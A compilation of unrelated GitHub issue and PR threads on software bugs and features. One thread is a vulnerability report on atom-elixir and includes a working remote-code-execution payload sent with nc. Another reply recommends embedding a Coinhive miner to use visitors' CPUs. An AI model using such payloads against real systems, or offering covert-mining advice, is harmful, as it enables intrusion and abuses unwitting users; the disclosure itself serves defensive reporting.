Android: Introduce viewLayerTypeAndroid and deprecate renderToHardwareAndroid

React Native for Android supports the renderToHardwareAndroid prop which enables a developer to set a view's layer type to LAYER_TYPE_HARDWARE or LAYER_TYPE_NONE. Natively, Android supports 3 values for a view's layer type but only 2 of them are exposed to JavaScript.
This change introduces a prop called viewLayerTypeAndroid which is an enum which exposes all 3 possible view layer types to JavaScript:

LAYER_TYPE_NONE
LAYER_TYPE_HARDWARE
LAYER_TYPE_SOFTWARE

This change also deprecates renderToHardwareAndroid in favor of viewLayerTypeAndroid because viewLayerTypeAndroid is a superset of renderToHardwareAndroid.
Test plan (required)
Verified this prop works in a test app and my team is using this change in or app.
Adam Comella
Microsoft Corp.

Good news, this one imported successfully. Thanks @rigdern! Looks like I still need to do some manual work to land it.

@hramos Wow, that was fast! You imported this PR within a couple minutes of me submitting it 😃. Let me know if there's any other work I need to do for this PR.

This is blocked internally because it's not passing the open source JS tests. From https://circleci.com/gh/facebook/react-native/19578?utm_campaign=vcs-integration-link&utm_medium=referral&utm_source=github-build-link it looks like the failures are unrelated to this particular PR. I'll rebase and attempt another run, since it looks like tests are passing in master.

Still seeing the errors after rebasing internally. Let's see what Circle says now that I merged master into this PR. The errors I saw were related to changes added in https://github.com/facebook/react-native/pull/14898, but that PR passed the very same test.

Hmm, looks like the PR didn't pass CI: https://circleci.com/gh/facebook/react-native/19617?utm_campaign=vcs-integration-link&utm_medium=referral&utm_source=github-build-link

@hramos Can you reopen this? It looks like you were working on getting it merged in October.

I'm sorry this fell through the cracks. Would you still like to see this merged?

Thanks for checking in. It turns out we don't need this prop anymore.


Rust-analyzer gives a syntax error on attributes in if expr

I get a Syntax error: attributes are not allowed on IF_EXPR, but since Rust 1.43 it is allowed.
I'm using 017331a53c1eeaa1253d2829165627bfa27dc124 right now

Duplicate of #4386.


Relevant posts

Between post body and Comments section, add Relevant posts section where 3-5 posts are featured which has similar tags and content that might interest readers.

It's great idea and should be implemented but maybe with an option to switch it off in settings?

closing this @talhasch, but Settings page should have option to select by Author and/or by Tags maybe with next release.

Quick suggestion/request to exclude current user posts from this. I use this relevant posts option often and it's very handy for me to find new interesting authours (especially for arts/designs) but sometimes I see my own posts in this row. I am not sure they have to be there...

active user's posts excluded from the similar post list @fildunsky

Cool! Thanks a lot!


Extend PotGenerator to improve plural forms output

Fixes #121.
Note: Might need some more tests because this adds quite a lot of code from the upstream library.

@swissspidy I didn't see this— I'll test it with our project and see if it resolves the issue. Thanks!

The code is not really pretty because there's so much static access going on in the original library, but I guess that can't be easily helped.

Can this be merged soon? I use it.

If this isn't going to be merged soon, can someone sync 121-plural-forms with master? It's ~23 commits behind, there are fixes this branch could benefit from. (For example; #125)  Then I can simply keep using composer require wp-cli/i18n-command:dev-121-plural-forms

@swissspidy I'm fine with merging this now. Do you feel good about this as well?
Regarding the tests, I would assume we'll notice when things go wrong because of the Behat tests anyway, even without precise unit tests?

Sure. We can do some housekeeping here at some point in the future I guess.

@connerbw This is merged into master now.


Add Facet/Filter Without Scrolling to Column

I find it frustrating and cumbersome flitting back and forth between columns and facets. It would be good if the permanent facets bar enabled more actions. There are 2 sides to this problem:
1. Adding new Facets/Filters
I have many columns, I mostly know the column names, but I don't always know where the column is located in the dataset. To find a column so that I can add a facet or filter, I use ctrl+F, enter part of the column name, and then scroll along until I spot the highlighted section. This can sometimes feel cumbersome. It also means I lose my place if I want the screen to display a different portion of the data.
2. Editing columns with a facet open
When I am working with a facet, I might then want to then edit cells in that column or add column based on the column being faceted/filtered. Again, to do this I need to find that column (as above).
Proposed solution

1. Adding new Facets/Filters
It would be easier if the permanent facet bar had an "Add Facet" and "Add Filter" option. Clicking this would open the normal facet/filter menu options available via the column header. Either before or after making this selection, perhaps it could open a vertical list of column names for me to select from. Or, better still, enable me to start entering the column name so that it narrows down the column options.
2. Editing columns with a facet open
It would be easier if the facet/filter included an option to open the menu options that are currently only accessible by clicking on the arrow located on the column header.
Alternatives considered

Additional context

For # 1 , So clicking on the + plus icon then a quick search input box appears to begin to type in a column name that shows a drop down list, the user clicks on 1 column name in the drop down list, or does he simply hover the mouse on the column name for .5 secs and then it hovers a submenu box to show only the Facet submenu and Text Filter (not showing other submenus click Edit Cells, Edit Column, since the idea is that they could use # 2 idea to quickly navigate for fuller options to perform).
For # 2, perhaps a better idea is to change the current title of the facet
Make it color blue #1d59db
CSS:
color: #1d59db;

HTML:
<span bind="titleSpan">
to
 `<a class="facet-name" href="javascript:{} bind="titleSpan">`

to make it a clickable element that once the user clicks, an event fires to scroll the data grid horizontally to the column position for you, and minimally trying to present it on the data grid as the 2nd position in the view (knowing that good parentage details might want to be seen in the 1st position of the view to compare with the column.  Rather than simply scrolling it into the 1st position and you would have to move the grid scroll over a bit to see some parentage.  In my example, once the xxxx element is clicked, it would scroll the grid to the right for you until it either puts the xxxx column into the 2nd position or the horizontal scroll hits the end of the view while attempting to put it into the 2nd position of the view.

For # 1 click versus .5 second hover I'm probably ok with either.
Regarding menu options for #1, I was initially thinking just facet/filter options. But on reflection, I would probably favour all menu options. This feature would then somewhat solve #2. And it would have the advantage of enabling quick access to edit cells on a column for which a facet/filter is not currently present. However, I might still favour #2 as well because if I have a facet/filter present, I might quickly get frustrated with having to keep going through the #1 process to edit cells when a menu option on the facet would be more efficient.
For #2 idea of scrolling to the column, I am undecided as to whether not that is preferable (eg. maybe I would prefer not to lose my current position in the dataset). I'll think further on this. The scrolling idea might be more attractive if #1 includes all menu options. That way you could edit cells using #1 if you don't want to scroll, but could use #2 if you do want to scroll.

@grahamjevon The data grid would only scroll horizontally once you clicked on the blue title of the facet, otherwise nothing moves on the data grid.

These sound like two independent feature requests. Is there a reason that they need to be treated together?

I did indeed question whether to add them separately at the outset. The commonality was that these are both means of accessing the column actions menu from the permanent facets bar to avoid the problem of flitting back and forth. I wonder if there are now 3 feature requests here:

Access column actions menu for any column via + sign (type column name to help identify column)
Access column actions menu from facet/filter
Scroll to column by clicking on column name in facet/filter

I like Thad's idea (3) of being able to auto scroll to a column. I think I there occasions where I would use that. If I'm not mistaken, @thadguidry is suggesting 3 instead of 2. For me, personally, I think there are also occasions when I would use 2 rather than 3 - e.g. I may want to edit a faceted column not visible on screen, without losing my grid position (but maybe 2 would be less necessary if 1 and 3 were available)

@thadguidry Can I work on this issue?

@OmarMorales71 YES!  However, a warning on this particular issue.  This will require some dedication... There will be several feedback rounds as you make a draft PR request as we review your work while you progress and we test and you make changes and updates...back and forth...until everyone is happy.  This specific issue might take weeks and likely over a month with many hours of your volunteer time.
If you still feel confident and want to progress, then by all means, we will gladly accept your volunteer enthusiasm on this issue to give our users something perfect!
Let us know!


server will not start (after 0.8.8 -> 0.9.0 -> 0.8.8 ... maybe)

I've been running influxdb 0.8.8 on CoreOS using the tutum docker image on docker.com.  Earlier today the server running this container rebooted and subsequently pulled down the 0.9.0 image, started up and nothing was working.  Realizing this, I pinned the version down to 0.8.8 and the server started serving data again.  Things seemed to be working fine for a few hours and then the server stopped responding to requests.  I assume something happened to the data directory when version 0.9 touched it but am not sure.
When the server is running correctly, I see the following in the logs:
Jun 29 22:22:17 ip-172-30-0-12.ec2.internal docker[3429]: [06/29/15 22:22:17] [INFO] Starting admin interface on port 8083
Jun 29 22:22:17 ip-172-30-0-12.ec2.internal docker[3429]: [06/29/15 22:22:17] [INFO] Graphite input plugins is disabled
Jun 29 22:22:17 ip-172-30-0-12.ec2.internal docker[3429]: [06/29/15 22:22:17] [INFO] Collectd input plugins is disabled
Jun 29 22:22:17 ip-172-30-0-12.ec2.internal docker[3429]: [06/29/15 22:22:17] [INFO] UDP server is disabled
Jun 29 22:22:17 ip-172-30-0-12.ec2.internal docker[3429]: [06/29/15 22:22:17] [INFO] Starting Http Api server on port 8086
Jun 29 22:22:17 ip-172-30-0-12.ec2.internal docker[3429]: [06/29/15 22:22:17] [INFO] Reporting stats: &client.Series{Name:"reports", Columns:[]string{"os", "arch", "id", "version"}, Points:[][]interface {}{[]interface {}{"linux", "amd64", "bb7377f141157ddd", "0.8.8"}}}

Now, when the server starts up the lines Starting admin interface on port 8083 and Starting Http Api server on port 8086 don't appear.  Placing the server in debug mode doesn't show anything very useful either.
While recovering the existing data isn't critical, I'd like to understand how to recover from this.
For now, I've archived the corrupted data directory and am starting from scratch using 0.9.
Thanks.

@rca there is no currently supported upgrade path from 0.8.x to 0.9.x, although one is in development. The behavior is undefined right now, but certainly won't work in any meaningful way. I don't know if there's a way to recover.
How did 0.9.0 get launched? What config file did it use, and can you include that and your 0.8.8 config here?
The migration work is happening in https://github.com/influxdb/influxdb/issues/2378, perhaps @corylanou has learned some useful things while working on the migration tool.

Thanks for the response, @beckettsean.
Here is the service section of the CoreOS unit file:
[Service]
TimeoutStartSec=300
Restart=always
EnvironmentFile=/etc/environment
ExecStartPre=-/usr/bin/docker kill influxdb
ExecStartPre=-/usr/bin/docker rm influxdb
ExecStartPre=/usr/bin/docker pull tutum/influxdb:0.8.8
ExecStart=/usr/bin/docker run --memory 6g --name influxdb -p 8083:8083 -p 8086:8086 --expose 8090 --expose 8099 --volume /srv/influxdb:/data tutum/influxdb:0.8.8
ExecStop=/usr/bin/docker stop influxdb

Prior to today, the docker pull and docker run commands were simply referencing tutum/influxdb rather than pinning down version 0.8.8.  When the machine rebooted and re-launched influxdb, it grabbed the latest version which was 0.9.  In order to get things working again, unfortunately with no historical data, I pinned the version down as seen above.
After posting this, I read about 0.9 and the API is quite different, so I'm sticking to 0.8.8 for the time being.
The config file is the vanilla one provided by the tutum image at https://github.com/tutumcloud/influxdb/blob/master/0.8.8/config.toml
Again, data recovery isn't super critical, but would be nice.  Thanks!

We just ran into this problem after an accidental upgrade via Chef.
After leaving InfluxDB running for a few hours it finally came back up and was accessible again.
Strace showed it scanning all the data files while we were waiting for it to come up. So my guess it was doing some sort of repair to damage caused by the unexpected 0.9.0 upgrade.

@smedefind Thanks for mentioning this.  I will launch an instance with the old data volume and report back.  It would be great to have a message in the logs saying it's scanning the filesystem.  Ideally with some sort of indicator that it's still working.  Even in debug mode, nothing was mentioned and raft logs overtake all other messages.  Thanks again!


How can I use mineiota for my website?

Is there a way to implement mineiota into my website?

Hi, what exactly you mean? Some integration as on http://iotart.io/ ?

No. I mean that i use corepower from my website-visitors and "mine" some iota with the mineiota-system (XRP->IOTA).

For this you dont need any integration, just implement some javascript monero miner... for example coinhive and then your profit exchange on binance or bitfinex.


[CONTINT-4460] fix ecs fargate to use env specified agent image

What does this PR do?
Sets the agent image for Fargate tasks to the specified environment image tag rather than using public.ecr.aws/datadog/agent:latest
Which scenarios this will impact?
TestECSSuite should now properly test agent changes on Fargate. Prior to these changes, the latest published image tag was used on Fargate.
Motivation
Discovered this issue when adding an aws_account tag to ECS Fargate tasks. I added an expected tag to ecs_test.go, but TestECSSuite failed since the tag did not exist . The CI used the image pushed in the PR when defining the tests, but the Fargate tasks used the latest agent image tag published to the official Datadog ECR.
Additional Notes
Testing
Prior to changes; fargate task definition:
{
    "taskDefinitionArn": "arn:aws:ecs:us-east-1:376334461865:task-definition/ewoodthomas-ecs-cluster-nginx-fg:22",
    "containerDefinitions": [
        {
            "name": "datadog-agent",
            "image": "public.ecr.aws/datadog/agent:latest",
	    ...
	}
}

After changes; fargate task definition:
{
    "taskDefinitionArn": "arn:aws:ecs:us-east-1:376334461865:task-definition/ewoodthomas-ecs-cluster-nginx-fg:26",
    "containerDefinitions": [
        {
            "name": "datadog-agent",
            "image": "376334461865.dkr.ecr.us-east-1.amazonaws.com/agent-e2e-tests:ethan.woodthomas-agent",
            ...
        }
}

When no agent tag is specified, it still uses public.ecr.aws/datadog/agent:latest in the task definition.

Nice catch, I still expect this to use latest, more details at https://github.com/DataDog/test-infra-definitions/pull/1171#discussion_r1794947265


interact method on spawn_bash session doesn't echoes input

My guess for some reason when we do an expect of initial prompt something is changed so type ENTER
causes a production of CTRL-M(^M) where without it it causes \r\n

related: #3

A research showed - reading changes a terminal line settings:
Here use cargo run --example interact and type stty command.
With read before interact
stty^Mspeed 38400 baud; line = 0;
-brkint -imaxbel
-echo

Without presiding read
EXPECT_PROMPT>stty
speed 38400 baud; line = 0;
-brkint -imaxbel

related https://stackoverflow.com/questions/68643312/why-reading-from-pty-slave-changes-linediscipline-settings

There was an idea that it may be an issue of spawned program. As it may change termios settings at any point.
But I don't think it is because spawning cat also has this issue

If we would read only preamble but don't  >>>  chars everything but be fine.
So the actual issue is in reading exactly PROMPT.
Why?

It seems like bash cab override tty mode at any time.
I am trying to create a powershell repl and pwsh behaives completely differently.
Here I am typing a random chars pimode and an each input pwsh seems to clear old one.
PS /home/mzhiburt/projects/expectrl>
INPUT "p"
OUTPUT "p"
pINPUT "i"
OUTPUT "\u{1b}[12;38H"
OUTPUT "pi"
piINPUT "m"
OUTPUT "\u{1b}[12;38Hpim"
pimINPUT "o"
OUTPUT "\u{1b}[12;38Hpimo"
pimoINPUT "d"
OUTPUT "\u{1b}[12;38Hpimod"
pimodINPUT "e"
OUTPUT "\u{1b}[12;38H"
OUTPUT "pimode"
pimodeINPUT "\r"
OUTPUT "\r\n"


force_align.py (TypeError: a bytes-like object is required, not 'str')

Hello,
we are trying to run force_align after using the fast_align, the fast_align is working fine and we get the model.
After running force_align, we get Traceback (most recent call last):
File "/home/christine/fast_align/build/force_align.py", line 93, in
main()
File "/home/christine/fast_align/build/force_align.py", line 87, in main
sys.stdout.write('{}\n'.format(aligner.align(line.strip())))
File "/home/christine/fast_align/build/force_align.py", line 30, in align
self.fwd_align.stdin.write('{}\n'.format(line))
TypeError: a bytes-like object is required, not 'str'
we are running on python 3.6.9.
we do not know where the problem can be from, we are using the right format of sentence:
The mechanic gave the clerk a present because it was his birthday. ||| La mecánica dio al Cirque durargo, porque era su cumpleaños.
please advise!!

Hi, if you use python3, you should set bufsize = 1 and universal_newlines= True in subprocess.Popen .
@lluisg @ChristineBasta

Python2


Unauthenticated remote code execution from any host

atom-elixir@master starts a TCP server that listens on all interfaces and evals code without authenticating the user.  Anyone on the network can use this to execute arbitrary code with the privileges of the user running atom-elixir.  (Note: I believe the atom-elixir 0.2.2 release version is unaffected; I didn't see a TCP server there.)
make_payload.exs:
# This can, of course, be far worse.
exploit = ~s{File.touch!("/tmp/atom-elixir-rce")}

payload = %{"buffer" => "", "module" => exploit, "function" => "", "line" => ""}
data    = %{"request" => "definition", "payload" => payload}
bterm   = :erlang.term_to_binary(data)
length  = bterm |> byte_size
:ok     = IO.write(<<101, length :: size(32), bterm :: bitstring>>)

Make sure atom-elixir@master is running in Atom (atom --foreground), take note of the port, and run:
elixir make_payload.exs | nc <IP_ADDRESS> PORT

and observe /tmp/atom-elixir-rce get created on the target machine (which, as mentioned, does not need to be localhost).
I filed a similar bug on alchemist-server at https://github.com/tonini/alchemist-server/issues/14 and the comments there apply here too, especially: listening only on <IP_ADDRESS> does not fully resolve the issue because of potential attacks from other users or through the browser.

@ivan thanks for reporting this issue. I'll take a look at it as soon I finish the new API.

Note: I believe the atom-elixir 0.2.2 release version is unaffected; I didn't see a TCP server there.

Yes. TCPServer is still in development and has not been published yet.

@msaraiva I want to bring this to your attention https://github.com/tonini/alchemist-server/issues/14#issuecomment-317044347
This issue is exploitable from any website via javascript.


The jaeger service could not be accessed via http://localhost:15032 with the version 1.4.0

Bug description
Based on the doc, the jaeger service could not be accessed.
But, when I run the
'docker run -itd --restart=always --name=jaeger -p 5775:5775/udp -p 6831:6831/udp -p 6832:6832/udp -p 5778:5778 -p 16686:16686 -p 14268:14268 -p 9411:9411 jaegertracing/all-in-one:1.14', which could accessed via http://localhost:16686
Docs
Installation
Expected behavior
When visit http://localhost:15032, the jaeger could be used.
Steps to reproduce the bug
Version (include the output of istioctl version --remote and kubectl version and helm version if you used Helm)
client: v1.16.3
server: v.1.14.7
How was Istio installed?
download the version 1.4.0 based on https://istio.io/docs/setup/getting-started/#download
And follow the doc based https://istio.io/docs/setup/platform-setup/docker/
apply 'kubectl apply -f istio-demo.yaml'
And then, based on https://istio.io/docs/tasks/observability/gateways/ with Option 2: Insecure access (HTTP) to install these four components.
Environment where bug was observed (cloud vendor, OS, etc)
Macbook pro with OS 10.15.1
Sorry for your inconvenience.
BR
Kimi

What was the state of jaeger in your cluster at this time?  Was everything up and running?
I'm not clear what the docker run bits in your bug description entails. Did you run the all-in-one image before or after you failed to connect via the gateway?  Why did you feel the need to run that container?

Hi there,
I just follow the doc as below to run all components and, the jaeger service starts up.
download the version 1.4.0 based on https://istio.io/docs/setup/getting-started/#download
And follow the doc based https://istio.io/docs/setup/platform-setup/docker/
apply 'kubectl apply -f istio-demo.yaml'
And then, based on https://istio.io/docs/tasks/observability/gateways/ with Option 2: Insecure access (HTTP) to install these four components.
to run 'docker run' command is that I want to check the jaeger service only and, when I follow the doc, I stopped and rm the docker container.
Sorry for your inconvenience.
BR
Kimi

hi there,
from install/kubernetes/istio-demo.yaml file, I could see as below:
spec:
containers:
- name: jaeger
image: "docker.io/jaegertracing/all-in-one:1.14"
imagePullPolicy: IfNotPresent
ports:
- containerPort: 9411
- containerPort: 16686
- containerPort: 14250
- containerPort: 14267
- containerPort: 14268
- containerPort: 14269
- containerPort: 5775
protocol: UDP
- containerPort: 6831
protocol: UDP
- containerPort: 6832
protocol: UDP
env:
- name: POD_NAMESPACE
valueFrom:
fieldRef:
apiVersion: v1
fieldPath: metadata.namespace
- name: BADGER_EPHEMERAL
value: "false"
- name: SPAN_STORAGE_TYPE
value: "badger"
- name: BADGER_DIRECTORY_VALUE
value: "/badger/data"
- name: BADGER_DIRECTORY_KEY
value: "/badger/key"
- name: COLLECTOR_ZIPKIN_HTTP_PORT
value: "9411"
- name: MEMORY_MAX_TRACES
value: "50000"
- name: QUERY_BASE_PATH
value:  /jaeger
livenessProbe:
httpGet:
path: /
port: 14269
readinessProbe:
httpGet:
path: /
port: 14269
volumeMounts:
- name: data
mountPath: /badger
resources:
requests:
cpu: 10m

@douglas-reid Reproduced on minikube:
curl -L https://istio.io/downloadIstio | ISTIO_VERSION=1.4.0 sh -
export PATH="$PATH:/..../istio-1.4.0/bin"

istioctl manifest apply --set profile=demo

istioctl dashboard jaeger

Jaeger UI displays correctly.
Then installed tracing gateway config from https://istio.io/docs/tasks/observability/gateways/#option-2-insecure-access-http
Setup port forwarding:
kubectl port-forward <istio-ingressgateway-pod> -n istio-system 15032:15032

Opened browser on localhost:15032 but got a blank page.
Tried same with Prometheus gateway and the Prometheus UI displayed correctly.

I think the problem is that the tracing service is now mapped onto the zipkin port:
tracing                  ClusterIP      <IP_ADDRESS>     <none>        9411/TCP

which is only used for collection in Jaeger.

hi @objectiser,
Thank you for your feedback and investigation.
Absolutely, you are right, the prometheus, grafana and kiali could be accessed only, the jaeger not.
Sorry for your inconvenience.
BR
Kimi

Assuming that istioctl manifest apply is using the new installer, the problem is here: https://github.com/istio/installer/blob/master/istio-telemetry/tracing/templates/service.yaml#L35 / https://github.com/istio/installer/blob/master/istio-telemetry/tracing/values.yaml#L90
This is a breaking change, as the port was 80 (tracing provider independent UI port) but is now 9411.

@quzhixue-Kimi No problem - thanks for reporting the issue. I'll wait for @douglas-reid to provide feedback to work out the best way forward.

@objectiser let's fix it in the installer. it should be port 80 to my understanding.

@douglas-reid I'll create a PR later this week - unless someone else has time before.


Too many increments send to MyObservationsContainer to calculate the progress bar

In uploadObservation.js the uploadEvidence function is called twice for each photo in the array unsyncedPhotos as well as each sound in the unsyncedSounds. For each piece of evidence once it is called for creating a photo and once for creating an observation-photo (or sound).
However, the issue with this is that this leads to four increments of progress being emitted, whereas in the receiver in the MyObservationsContainer.js expects only two increments for each photo. This leads to the progress for the progress bar being calculated with too many increments and therefore reaches 100% before everything is finished uploading.
Also the actual function createOrUpdateEvidence that is being used has a note of being in need of a refactor. I haven't researched this but maybe a possible solution here is to split up this function into two, one for creating and one for updating evidence. So the refactor of this function could also be a part of this issue. Or alternatively adjust the number of increments expected, I guess.

One other part that can be addressed here is that sounds are not counted towards the total progress.


Stop panicking when the metrics listener port is unavailable

When we have multiple zebrad instances running, port listener conflicts can cause panics and errors.
Metrics panics:
The application panicked (crashed).
Message: error binding to <IP_ADDRESS>:9999: error creating server listener: Address already in use (os error 98)
Location: ~/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.13.7/src/server/mod.rs:124

Tracing fails, but continues:
ERROR zebrad::components::tracing: Could not open tracing endpoint listener
ERROR zebrad::components::tracing: Error: error creating server listener: Address already in use (os error 98)

(Sometimes the second line isn't logged.)
One of these errors results in a double panic, but I'm not sure which one.
Follow up to #669.

I think that panicking (or returning an error that terminates the program) is a reasonable choice here, as long as the metrics listener port was specified explicitly.  If we change the metrics listener config setting to be an Option<SocketAddr> with default None, then I think we'd get that behavior (although we'd still need #669).
It does seem like a bug that the behavior is inconsistent between the metrics endpoint and the tracing endpoint, although the tracing endpoint should eventually be subsumed into a general RPC endpoint (while the metrics endpoint shouldn't, because it speaks prometheus).  So the inconsistency might not be worth fixing before we rewrite that code.

I think this issue will be resolved by #660.


workflows: various small fixes

Please see individual commits.

Before:

After:

Can't give you an after for images-legacy.yaml as it runs from master due to pull_request_target, though...


[version_0.5]It take long time to back, not good experience for user

It take long time that from poi detail info page back to category search page
It take long time that from filters page back to category search page

Couldn't speed up, it depends on sdk functions response time.


polished the 'Command Line Todo List' module series

I like some of this proposal, namely that absence of the tasks.json file should not crash. But I can imagine use cases in which the desired initial state includes a set of tasks. So I suggest that the specs recommend, rather than mandate, a repo either without a tasks.json file or with one that is empty of tasks.


Allow py310 style annotations (PEP563) when using from future import annotations

This allows one to annotate in Python 3.10 style (PEP563) when from __future__ import annotations is used.
e.g.:
from __future__ import annotations

def f(x: int | None) -> int: pass

will work

@agronholm, what do you think about this?
This is relevant for all projects that use pyupgrade and future annotations, where it (for example) updates all Optional[str] to str | None.

Maybe you should first make sure the linting checks pass locally?

Done. I have also renamed pre-commit-config.sample.yaml -> .pre-commit-config.yaml to make pre-commit work.
Not sure how it would have worked before.

Done. I have also renamed pre-commit-config.sample.yaml -> .pre-commit-config.yaml to make pre-commit work.
Not sure how it would have worked before.

The idea was that anyone wishing to use pre-commit would have a template, but would not be required to use the exact versions there.

Because I seem to need approval to run the CI every single time, I have set it up on my fork: https://github.com/basnijholt/sphinx-autodoc-typehints/actions/runs/1345088994.
It now all passes.

@basnijholt  I've rebased on main, can you please fix the CI, thanks!

I'll be AFK for more than a month. @agronholm wanted to check out the remaining failure cases I believe.

Thanks for merging this and fixing the tests 🎉😃😄

Thanks for merging this and fixing the tests 🎉😃😄

Yeah, interestingly the future annotation has an extra zero at the end in 3.8 or later, see https://github.com/python/cpython/commit/5055c274c6e4f2bb8025910dedf0ff89f4bdd170#diff-eb46a68cfb368cc943fe36ad91dba3692682ab4454221fefd6abab8757682ab0

Yeah, interestingly the future annotation has an extra zero at the end in 3.8 or later, see https://github.com/python/cpython/commit/5055c274c6e4f2bb8025910dedf0ff89f4bdd170#diff-eb46a68cfb368cc943fe36ad91dba3692682ab4454221fefd6abab8757682ab0


Extend a GDNative class with GDScript

Hi everyone,
I've written a simple class named Anchor inherited from Node in GDNative.
My Anchor class properly loads and works from GDScript with load("res://Anchor.gdns").
My ultimate goal is to have a GDScript class extend this Anchor class.
I expected the class_name attribute in the .gdns file would make my Anchor class appear in the "Add node" dialog, and then allow me to extend it, but it's not the case.
I've also tried the naive approch to directly extend the GDScript class with extend "res://Anchor.gdns" but it doesn't work (error message : "Could not load base class: res://Anchor.gdns").
Anyone can help ?
Here is the .gdns file :
[gd_resource type="NativeScript" load_steps=2 format=2]

[ext_resource path="res://bin/libtest.gdnlib" type="GDNativeLibrary" id=1]

[resource]
resource_name = "Anchor"
class_name = "Anchor"
library = ExtResource( 1 )
script_class_name = "Anchor"
script_class_icon_path = "res://icon.png"

And my Anchor class declaration and definition :
	class Anchor : public Node {
		GODOT_CLASS(Anchor, Node)

	public :
		static void _register_methods();
		void _init();

		Anchor();
		~Anchor();
	};

void Anchor::_register_methods() {

}

void Anchor::_init() {

}

Anchor::Anchor() {

}

Anchor::~Anchor() {

}

Unfortunately GDScript can only inherit from other GDScript files. That means You can't make a VisualScript base, a C# base or a NativeScript base.
There's not much we can do here :/

Thanks karroffel for your answer.
Hence I don’t understand the use of « class_name » in .gdns files. What’s the use case of it ?

You can use the class_name feature to simple reference a NativeScript class.
For example you could make a MapGenerator class with the same name, then inside of GDScript you can do
var gen = MapGenerator.new()

instead of
var gen = preload("res://path/to/map_generator.gdns").new()

What do you mean by

an actual new Object type

Would my class need to inherit Object ?
I guess this is the case for most Godot classes.
So if I understand well I could inherit Node for instance, and then I could put a GDScript on it ?

What do you mean by

an actual new Object type

Would my class need to inherit Object ?
As most Godot classes inherit Object it would mean I can inherit Node and then be able to put a GDScript on it.
Do I understand well ?

What do you mean by « an actual new Object type » ?
Would my class inherit Object ?
Not sure to get the subtility here since most Godot classes actually inherit Object

What do you mean by

an actual new Object type

Would my class need to inherit Object ?
I guess this is the case for most Godot classes.
So if I understand well I could inherit Node for instance, and then I could put a GDScript on it ?


Give the user more flexibility over font selection

An attempt to tackle https://github.com/RazrFalcon/resvg/issues/710#issuecomment-2042380784. The basic idea is that we call resolve_font and find_font_for_char to tell the user which fonts we want (which the user can then dynamically load in the background) and then we request them in the end by requesting a reference to fontdb and using that.
In the beginning, I wanted to make the whole thing very generic. Meaning that I tried to write the trait in a way that completely abstracts away from fontdb and fontdb::ID, so that the user has full control over the font selection as well as storing, and it's (in principle) completely abstracted away from usvg. However, there were two big problems with this:

It turns into a generics hell really quickly, and I think that you would probably not like it.
I had really big trouble getting it to work with fontdb, based on the fact that (from what I gathered) the only way to get access to the font source is by using the with_face_data callback, which makes it really awkward to incorporate it into a trait because it doesn't seem to be possible to create trait objects if there are generics involved.

So for now, this is the best design I was able to come up with, which is far from ideal, but it should be better than nothing. We just need to document it properly.
So the remaining steps would be:

Decide whether this design is okay.
Once that is done, I will add documentation.
Test whether the API fulfills what is needed in Typst.

cc @laurmaedje

Thanks. Looks good to me.
Yes, I'm not a big fan of generic code. And we would not need it anyway. There is no point in "removing" fontdb.

Have you tried implementing FontProvider similarly to usvg::ImageHrefResolver?
PS: We should probably call it FontResolver as well, for consistency.

Have you tried implementing FontProvider similarly to usvg::ImageHrefResolver? This would reduce the API/code impact.
PS: We should probably call it FontResolver as well, for consistency.

I'm not sure if that's possible. Because the user has to store the fontdb somehow, and if we only provide a struct that contains three fields with callback functions and nothing else, the user doesn't really have a way of storing it...

But the user stores fontdb already. Nothing changes here. And the Options trait would have fontdb as an argument.
Basically:
pub type FontResolverFn = Box<dyn Fn(&Font, &fontdb::Database) -> Option<ID> + Send + Sync>;

Wouldn't this work?

So basically, my understanding is that there are two problems to solve, one of which is a must for Typst, the other one is more of a nice-to-have:

must-have: We need to be able to populate the fontdb with fonts on-demand, instead of up-front. One reason for this is that when Typst is running in the browser, it would be very impractical to load every available. Instead, we only load the fonts that are actually needed. And the only way this can be done is if we can somehow hook into the font-loading process or usvg and implement our own logic.

nice-to-have: It would be nice if we could also implement our own custom logic for selecting a font, because then we could use our custom fallback-resolving logic. But from what I understood this is not a very critical point, the first point is much more important.

So my envisioned usage would have been as follows:
struct MyCustomFontProvider {
    fontdb: RefCell<Database>
}

impl FontProvider for MyCustomFontProvider {
    fn find_font(&self, font: &Font) -> Option<ID> {
        // A custom logic for selecting a font, and then loading the font
        // data in a vector (regardless of whether that happens locally or a remote server)
        let font: Vec<u8> = my_custom_logic_for_selecting_a_font();
        // Insert the font we selected and fetched into the fontdb, and then return the ID
        let font_id = self.fontdb.borrow_mut().add_font(font);
        Some(font_id)
    }

    fn find_fallback_font(&self, c: char, base_font_id: ID, used_fonts: &[ID]) -> Option<ID> {
        // Basically the same as find_font, but instead for choosing a fallback font.
    }

    fn fontdb(&self) -> &Database {
        // Here we give out a reference to the fontdb so that usvg can load the font data
        // via with_face_data and get all the necessary metrics, etc. Since we only use
        // IDs that have been fetched either via find_font or find_fallback_font, usvg
        // is guaranteed to only access fonts that have been loaded into the database
        &self.fontdb.borrow()
    }
}

However, I just realized that fontdb doesn't seem to return the assigned ID of a newly inserted font... It seems like the only way to get an ID is via the query interface, so I guess this won't work then...

I'm starting to think that perhaps the real solution to the problem is to extend fontdb is to introduce a Source type that allows the user to define how the font is loaded/mapped. Then we probably wouldn't need any changes in usvg at all. Not sure how feasible it is to implement, though.

I'm starting to think that perhaps the real solution to the problem is to extend fontdb is to introduce a Source type that allows the user to define how the font is loaded/mapped.

As far as I know, fontdb needs the actual font data to be able to collects its metadata. So lazy loading wouldn't work. Similar to how Typst needs the FontBook.

However, I just realized that fontdb doesn't seem to return the assigned ID of a newly inserted font...

Looks like load_font_source does provide the IDs, though some extra effort might required to find the correct ID in the vector. Typst would use this method anyway as to not clone the bytes, but rather use Source::Binary.
I think the current interface should work for Typst and it looks reasonable to me. The only problem that stands out to me is the fontdb(&self) -> &Database because the way you've written it will probably not compile. The RefCell will return a Ref<Database> that cannot be directly cast into &Database. Solutions I can think of:

a fontdb-like with_database
an associated type that requires Deref<Target = Database>
let the other methods get &mut self, so that no interior mutability is necessary (not sure whether that works for usvg)
move the database out of the resolver and pass it into the resolving functions instead

However, I just realized that fontdb doesn't seem to return the assigned ID of a newly inserted font...

Because we're adding fonts and fontdb stores faces. So when we add a *.ttc - it would generate multiple IDs.
Therefore we still have to call query even if we just added a new font. It would work just fine with the current API.
The real issue with your solution is that fontdb is mutable now, while it is not right now.
RefCell would not work, because it's not Sync. We need Arc.
What we probably want is to add Arc<fontdb::Database> to usvg::Options, which would be deep-cloned when needed. Expensive for cases when we load system fonts, but cheap for cases like Typst.
Then we can add href-like callbacks, but for fonts.
Will it work? I don't know. We just have to try it out.
